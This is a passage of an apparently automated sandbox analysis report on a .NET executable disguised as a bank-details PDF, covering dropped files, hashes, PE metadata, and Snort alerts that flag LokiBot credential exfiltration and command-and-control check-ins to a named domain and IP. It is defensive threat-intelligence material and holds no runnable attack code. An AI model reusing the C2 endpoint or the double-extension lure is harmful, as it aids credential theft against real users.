NtDeviceIoControlFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:07:17	API Interceptor	120x Sleep call for process: Detalles del banco.pdf.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
172.67.155.45	Cotizaci#U00f3n.pdf.exe	Get hash	malicious	Browse	zamloki.xyz/des/co/tox.php
172.67.155.45	Cotizaci#U00f3n.pdf.exe	Get hash	malicious	Browse	zamloki.xyz/des/co/tox.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
zamloki.xyz	Cotizaci#U00f3n.pdf.exe	Get hash	malicious	Browse	172.67.155.45
zamloki.xyz	Cotizaci#U00f3n.pdf.exe	Get hash	malicious	Browse	104.21.6.222

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	ORDER -ASLF1SR00116-PDF.doc	Get hash	malicious	Browse	104.21.63.101
	OKTAL PHARMACEUTICAL ORDER.doc	Get hash	malicious	Browse	172.67.169.145
	PRINT.doc	Get hash	malicious	Browse	172.67.169.145
	WELDED PIPES INDENT NO. 2122000642.doc	Get hash	malicious	Browse	172.67.169.145
	nady6.dll	Get hash	malicious	Browse	172.67.70.134
	templezx.exe	Get hash	malicious	Browse	104.21.19.200
	202107270010.exe	Get hash	malicious	Browse	162.159.135.233
	w7pR0EOMwd.exe	Get hash	malicious	Browse	104.21.70.98
	Purchase confirmation-6232.xlsm	Get hash	malicious	Browse	104.21.62.147
	MfPeGpGTvm.exe	Get hash	malicious	Browse	66.235.200.145
	ATT96756.htm	Get hash	malicious	Browse	104.16.19.94
	A2VIlCjq1W.exe	Get hash	malicious	Browse	104.21.17.130
	June Financial Report SharePointonline.html	Get hash	malicious	Browse	104.21.61.187
	i9dHqjbGpb.exe	Get hash	malicious	Browse	104.21.19.200
	Order_15078.exe	Get hash	malicious	Browse	104.21.37.220
	Attached sheet scan no 77110016588.exe	Get hash	malicious	Browse	104.21.13.164
	loqmT4zBT8.exe	Get hash	malicious	Browse	104.21.15.34
	jmahQC4hlL.exe	Get hash	malicious	Browse	172.67.135.252
	Xorgiq8dY4.exe	Get hash	malicious	Browse	104.21.19.200
	PO_1223223.exe	Get hash	malicious	Browse	104.21.19.200

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Detalles del banco.pdf.exe.log Download File
Process:	C:\Users\user\Desktop\Detalles del banco.pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
MD5:	FED34146BF2F2FA59DCF8702FCC8232E
SHA1:	B03BFEA175989D989850CF06FE5E7BBF56EAA00A
SHA-256:	123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
SHA-512:	1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\user\AppData\Roaming\C79A3B\B52B3F.lck Download File
Process:	C:\Users\user\Desktop\Detalles del banco.pdf.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\21c8026919fd094ab07ec3c180a9f210_d06ed635-68f6-4e9a-955c-4899f5f57b9a Download File
Process:	C:\Users\user\Desktop\Detalles del banco.pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	23961
Entropy (8bit):	0.746683084152218
Encrypted:	false
SSDEEP:	48:3999999999999999999999999999999999999999999999999999999999999997:b
MD5:	069FA0D0FAD930F41427148CB751092F
SHA1:	41BA3B4541C4B159B7AD04D5373BD1F06817A584
SHA-256:	42A57540F9D36C4663B0EA4FEC60610E26F3772BE4078E7C42E51DA86BC69DDB
SHA-512:	4FE2D074ADC0369B9FD26EBCCCEF40452E9A168FAB69F8920BFCA760536B07F1041F9F4924014537F14B32856D55134D598C278FE2CC5033C00CF815A79C2A2C
Malicious:	false
Reputation:	low
Preview:	........................................user..........................................................................................user..........................................................................................user..........................................................................................user..........................................................................................user..........................................................................................user..........................................................................................user..........................................................................................user..........................................................................................user..........................................................................................user......................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.2911590397512365
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Detalles del banco.pdf.exe
File size:	551424
MD5:	3965feca216cde849f987b614794b46c
SHA1:	d5fd435edf3348930b1500d9b10b3b010b07ef99
SHA256:	c05b0bc3cde94be7a27b27040cd40864671e9d2be0a0d64fa0865454feaf2190
SHA512:	684381a00700a14c9c0bb9b4cb337f00057ccd678c825b3ab3b578ee6a98dd7c8a46fb42734be7a51dbb47ef21d03929428ab17ef2be327259d8c99439757c5b
SSDEEP:	12288:aJn7M6BUy67/Apk/dfxdYo9N40hSD91WlT0M2emdiwulfhTVFZ+lF2y:aJ7Mz74kFfPYo9xhS
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................b............... ........@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x4881ae
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x610008E3 [Tue Jul 27 13:23:47 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8815c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8a000	0x378	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x861b4	0x86200	False	0.711050355312	data	7.30218710156	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x8a000	0x378	0x400	False	0.37890625	data	2.81543286579	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8c000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x8a058	0x320	data

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2010 - 2021
Assembly Version	1.0.0.0
InternalName	FeJV.exe
FileVersion	1.0.0.0
CompanyName	Douglas Heriot
LegalTrademarks
Comments
ProductName	Uno
ProductVersion	1.0.0.0
FileDescription	Uno
OriginalFilename	FeJV.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/27/21-22:07:15.730381	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49723	80	192.168.2.6	172.67.155.45
07/27/21-22:07:15.730381	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49723	80	192.168.2.6	172.67.155.45
07/27/21-22:07:15.730381	TCP	2025381	ET TROJAN LokiBot Checkin	49723	80	192.168.2.6	172.67.155.45
07/27/21-22:07:16.346179	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49724	80	192.168.2.6	172.67.155.45
07/27/21-22:07:16.346179	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49724	80	192.168.2.6	172.67.155.45
07/27/21-22:07:16.346179	TCP	2025381	ET TROJAN LokiBot Checkin	49724	80	192.168.2.6	172.67.155.45
07/27/21-22:07:16.920852	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49725	80	192.168.2.6	172.67.155.45
07/27/21-22:07:16.920852	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49725	80	192.168.2.6	172.67.155.45
07/27/21-22:07:16.920852	TCP	2025381	ET TROJAN LokiBot Checkin	49725	80	192.168.2.6	172.67.155.45
07/27/21-22:07:17.494021	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49726	80	192.168.2.6	172.67.155.45
07/27/21-22:07:17.494021	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49726	80	192.168.2.6	172.67.155.45
07/27/21-22:07:17.494021	TCP	2025381	ET TROJAN LokiBot Checkin	49726	80	192.168.2.6	172.67.155.45
07/27/21-22:07:18.297282	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49727	80	192.168.2.6	172.67.155.45
07/27/21-22:07:18.297282	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49727	80	192.168.2.6	172.67.155.45
07/27/21-22:07:18.297282	TCP	2025381	ET TROJAN LokiBot Checkin	49727	80	192.168.2.6	172.67.155.45
07/27/21-22:07:19.573443	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49728	80	192.168.2.6	172.67.155.45
07/27/21-22:07:19.573443	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49728	80	192.168.2.6	172.67.155.45
07/27/21-22:07:19.573443	TCP	2025381	ET TROJAN LokiBot Checkin	49728	80	192.168.2.6	172.67.155.45
07/27/21-22:07:21.010370	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49729	80	192.168.2.6	172.67.155.45
07/27/21-22:07:21.010370	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49729	80	192.168.2.6	172.67.155.45
07/27/21-22:07:21.010370	TCP	2025381	ET TROJAN LokiBot Checkin	49729	80	192.168.2.6	172.67.155.45
07/27/21-22:07:21.626992	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49730	80	192.168.2.6	172.67.155.45
07/27/21-22:07:21.626992	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49730	80	192.168.2.6	172.67.155.45
07/27/21-22:07:21.626992	TCP	2025381	ET TROJAN LokiBot Checkin	49730	80	192.168.2.6	172.67.155.45
07/27/21-22:07:22.669530	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49733	80	192.168.2.6	172.67.155.45
07/27/21-22:07:22.669530	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49733	80	192.168.2.6	172.67.155.45
07/27/21-22:07:22.669530	TCP	2025381	ET TROJAN LokiBot Checkin	49733	80	192.168.2.6	172.67.155.45
07/27/21-22:07:23.484513	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49736	80	192.168.2.6	172.67.155.45
07/27/21-22:07:23.484513	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49736	80	192.168.2.6	172.67.155.45
07/27/21-22:07:23.484513	TCP	2025381	ET TROJAN LokiBot Checkin	49736	80	192.168.2.6	172.67.155.45
07/27/21-22:07:24.064140	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49738	80	192.168.2.6	172.67.155.45
07/27/21-22:07:24.064140	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49738	80	192.168.2.6	172.67.155.45
07/27/21-22:07:24.064140	TCP	2025381	ET TROJAN LokiBot Checkin	49738	80	192.168.2.6	172.67.155.45
07/27/21-22:07:24.715614	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49740	80	192.168.2.6	172.67.155.45
07/27/21-22:07:24.715614	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49740	80	192.168.2.6	172.67.155.45
07/27/21-22:07:24.715614	TCP	2025381	ET TROJAN LokiBot Checkin	49740	80	192.168.2.6	172.67.155.45
07/27/21-22:07:25.277672	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49742	80	192.168.2.6	172.67.155.45
07/27/21-22:07:25.277672	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49742	80	192.168.2.6	172.67.155.45
07/27/21-22:07:25.277672	TCP	2025381	ET TROJAN LokiBot Checkin	49742	80	192.168.2.6	172.67.155.45
07/27/21-22:07:25.822462	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49744	80	192.168.2.6	172.67.155.45
07/27/21-22:07:25.822462	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49744	80	192.168.2.6	172.67.155.45
07/27/21-22:07:25.822462	TCP	2025381	ET TROJAN LokiBot Checkin	49744	80	192.168.2.6	172.67.155.45
07/27/21-22:07:26.435924	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49746	80	192.168.2.6	172.67.155.45
07/27/21-22:07:26.435924	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49746	80	192.168.2.6	172.67.155.45
07/27/21-22:07:26.435924	TCP	2025381	ET TROJAN LokiBot Checkin	49746	80	192.168.2.6	172.67.155.45
07/27/21-22:07:27.067217	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49747	80	192.168.2.6	172.67.155.45
07/27/21-22:07:27.067217	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49747	80	192.168.2.6	172.67.155.45
07/27/21-22:07:27.067217	TCP	2025381	ET TROJAN LokiBot Checkin	49747	80	192.168.2.6	172.67.155.45
07/27/21-22:07:27.621691	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49749	80	192.168.2.6	172.67.155.45
07/27/21-22:07:27.621691	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49749	80	192.168.2.6	172.67.155.45
07/27/21-22:07:27.621691	TCP	2025381	ET TROJAN LokiBot Checkin	49749	80	192.168.2.6	172.67.155.45
07/27/21-22:07:28.192570	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49751	80	192.168.2.6	172.67.155.45
07/27/21-22:07:28.192570	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49751	80	192.168.2.6	172.67.155.45
07/27/21-22:07:28.192570	TCP	2025381	ET TROJAN LokiBot Checkin	49751	80	192.168.2.6	172.67.155.45
07/27/21-22:07:28.714146	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49752	80	192.168.2.6	172.67.155.45
07/27/21-22:07:28.714146	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49752	80	192.168.2.6	172.67.155.45
07/27/21-22:07:28.714146	TCP	2025381	ET TROJAN LokiBot Checkin	49752	80	192.168.2.6	172.67.155.45
07/27/21-22:07:29.257810	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49753	80	192.168.2.6	172.67.155.45
07/27/21-22:07:29.257810	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49753	80	192.168.2.6	172.67.155.45
07/27/21-22:07:29.257810	TCP	2025381	ET TROJAN LokiBot Checkin	49753	80	192.168.2.6	172.67.155.45
07/27/21-22:07:29.906129	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49754	80	192.168.2.6	172.67.155.45
07/27/21-22:07:29.906129	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49754	80	192.168.2.6	172.67.155.45
07/27/21-22:07:29.906129	TCP	2025381	ET TROJAN LokiBot Checkin	49754	80	192.168.2.6	172.67.155.45
07/27/21-22:07:30.433122	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49755	80	192.168.2.6	172.67.155.45
07/27/21-22:07:30.433122	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49755	80	192.168.2.6	172.67.155.45
07/27/21-22:07:30.433122	TCP	2025381	ET TROJAN LokiBot Checkin	49755	80	192.168.2.6	172.67.155.45
07/27/21-22:07:30.967523	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49756	80	192.168.2.6	172.67.155.45
07/27/21-22:07:30.967523	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49756	80	192.168.2.6	172.67.155.45
07/27/21-22:07:30.967523	TCP	2025381	ET TROJAN LokiBot Checkin	49756	80	192.168.2.6	172.67.155.45
07/27/21-22:07:31.563206	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49757	80	192.168.2.6	172.67.155.45
07/27/21-22:07:31.563206	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49757	80	192.168.2.6	172.67.155.45
07/27/21-22:07:31.563206	TCP	2025381	ET TROJAN LokiBot Checkin	49757	80	192.168.2.6	172.67.155.45
07/27/21-22:07:32.193230	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49758	80	192.168.2.6	172.67.155.45
07/27/21-22:07:32.193230	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49758	80	192.168.2.6	172.67.155.45
07/27/21-22:07:32.193230	TCP	2025381	ET TROJAN LokiBot Checkin	49758	80	192.168.2.6	172.67.155.45
07/27/21-22:07:32.843027	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49759	80	192.168.2.6	172.67.155.45
07/27/21-22:07:32.843027	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49759	80	192.168.2.6	172.67.155.45
07/27/21-22:07:32.843027	TCP	2025381	ET TROJAN LokiBot Checkin	49759	80	192.168.2.6	172.67.155.45
07/27/21-22:07:33.418672	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49760	80	192.168.2.6	172.67.155.45
07/27/21-22:07:33.418672	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49760	80	192.168.2.6	172.67.155.45
07/27/21-22:07:33.418672	TCP	2025381	ET TROJAN LokiBot Checkin	49760	80	192.168.2.6	172.67.155.45
07/27/21-22:07:34.045519	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49764	80	192.168.2.6	172.67.155.45
07/27/21-22:07:34.045519	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49764	80	192.168.2.6	172.67.155.45
07/27/21-22:07:34.045519	TCP	2025381	ET TROJAN LokiBot Checkin	49764	80	192.168.2.6	172.67.155.45
07/27/21-22:07:34.621776	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49767	80	192.168.2.6	172.67.155.45
07/27/21-22:07:34.621776	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49767	80	192.168.2.6	172.67.155.45
07/27/21-22:07:34.621776	TCP	2025381	ET TROJAN LokiBot Checkin	49767	80	192.168.2.6	172.67.155.45
07/27/21-22:07:35.271905	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49768	80	192.168.2.6	172.67.155.45
07/27/21-22:07:35.271905	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49768	80	192.168.2.6	172.67.155.45
07/27/21-22:07:35.271905	TCP	2025381	ET TROJAN LokiBot Checkin	49768	80	192.168.2.6	172.67.155.45
07/27/21-22:07:35.817393	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49769	80	192.168.2.6	172.67.155.45
07/27/21-22:07:35.817393	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49769	80	192.168.2.6	172.67.155.45
07/27/21-22:07:35.817393	TCP	2025381	ET TROJAN LokiBot Checkin	49769	80	192.168.2.6	172.67.155.45
07/27/21-22:07:36.440412	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49770	80	192.168.2.6	172.67.155.45
07/27/21-22:07:36.440412	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49770	80	192.168.2.6	172.67.155.45
07/27/21-22:07:36.440412	TCP	2025381	ET TROJAN LokiBot Checkin	49770	80	192.168.2.6	172.67.155.45
07/27/21-22:07:37.365869	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49771	80	192.168.2.6	172.67.155.45
07/27/21-22:07:37.365869	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49771	80	192.168.2.6	172.67.155.45
07/27/21-22:07:37.365869	TCP	2025381	ET TROJAN LokiBot Checkin	49771	80	192.168.2.6	172.67.155.45
07/27/21-22:07:38.546161	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49772	80	192.168.2.6	172.67.155.45
07/27/21-22:07:38.546161	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49772	80	192.168.2.6	172.67.155.45
07/27/21-22:07:38.546161	TCP	2025381	ET TROJAN LokiBot Checkin	49772	80	192.168.2.6	172.67.155.45
07/27/21-22:07:40.039286	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49773	80	192.168.2.6	172.67.155.45
07/27/21-22:07:40.039286	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49773	80	192.168.2.6	172.67.155.45
07/27/21-22:07:40.039286	TCP	2025381	ET TROJAN LokiBot Checkin	49773	80	192.168.2.6	172.67.155.45
07/27/21-22:07:40.644849	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49774	80	192.168.2.6	172.67.155.45
07/27/21-22:07:40.644849	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49774	80	192.168.2.6	172.67.155.45
07/27/21-22:07:40.644849	TCP	2025381	ET TROJAN LokiBot Checkin	49774	80	192.168.2.6	172.67.155.45
07/27/21-22:07:41.382419	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49775	80	192.168.2.6	172.67.155.45
07/27/21-22:07:41.382419	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49775	80	192.168.2.6	172.67.155.45
07/27/21-22:07:41.382419	TCP	2025381	ET TROJAN LokiBot Checkin	49775	80	192.168.2.6	172.67.155.45
07/27/21-22:07:41.977186	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49776	80	192.168.2.6	172.67.155.45
07/27/21-22:07:41.977186	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49776	80	192.168.2.6	172.67.155.45
07/27/21-22:07:41.977186	TCP	2025381	ET TROJAN LokiBot Checkin	49776	80	192.168.2.6	172.67.155.45
07/27/21-22:07:42.581569	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49777	80	192.168.2.6	172.67.155.45
07/27/21-22:07:42.581569	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49777	80	192.168.2.6	172.67.155.45
07/27/21-22:07:42.581569	TCP	2025381	ET TROJAN LokiBot Checkin	49777	80	192.168.2.6	172.67.155.45
07/27/21-22:07:43.246994	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49778	80	192.168.2.6	172.67.155.45
07/27/21-22:07:43.246994	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49778	80	192.168.2.6	172.67.155.45
07/27/21-22:07:43.246994	TCP	2025381	ET TROJAN LokiBot Checkin	49778	80	192.168.2.6	172.67.155.45
07/27/21-22:07:43.790280	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49779	80	192.168.2.6	172.67.155.45
07/27/21-22:07:43.790280	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49779	80	192.168.2.6	172.67.155.45
07/27/21-22:07:43.790280	TCP	2025381	ET TROJAN LokiBot Checkin	49779	80	192.168.2.6	172.67.155.45
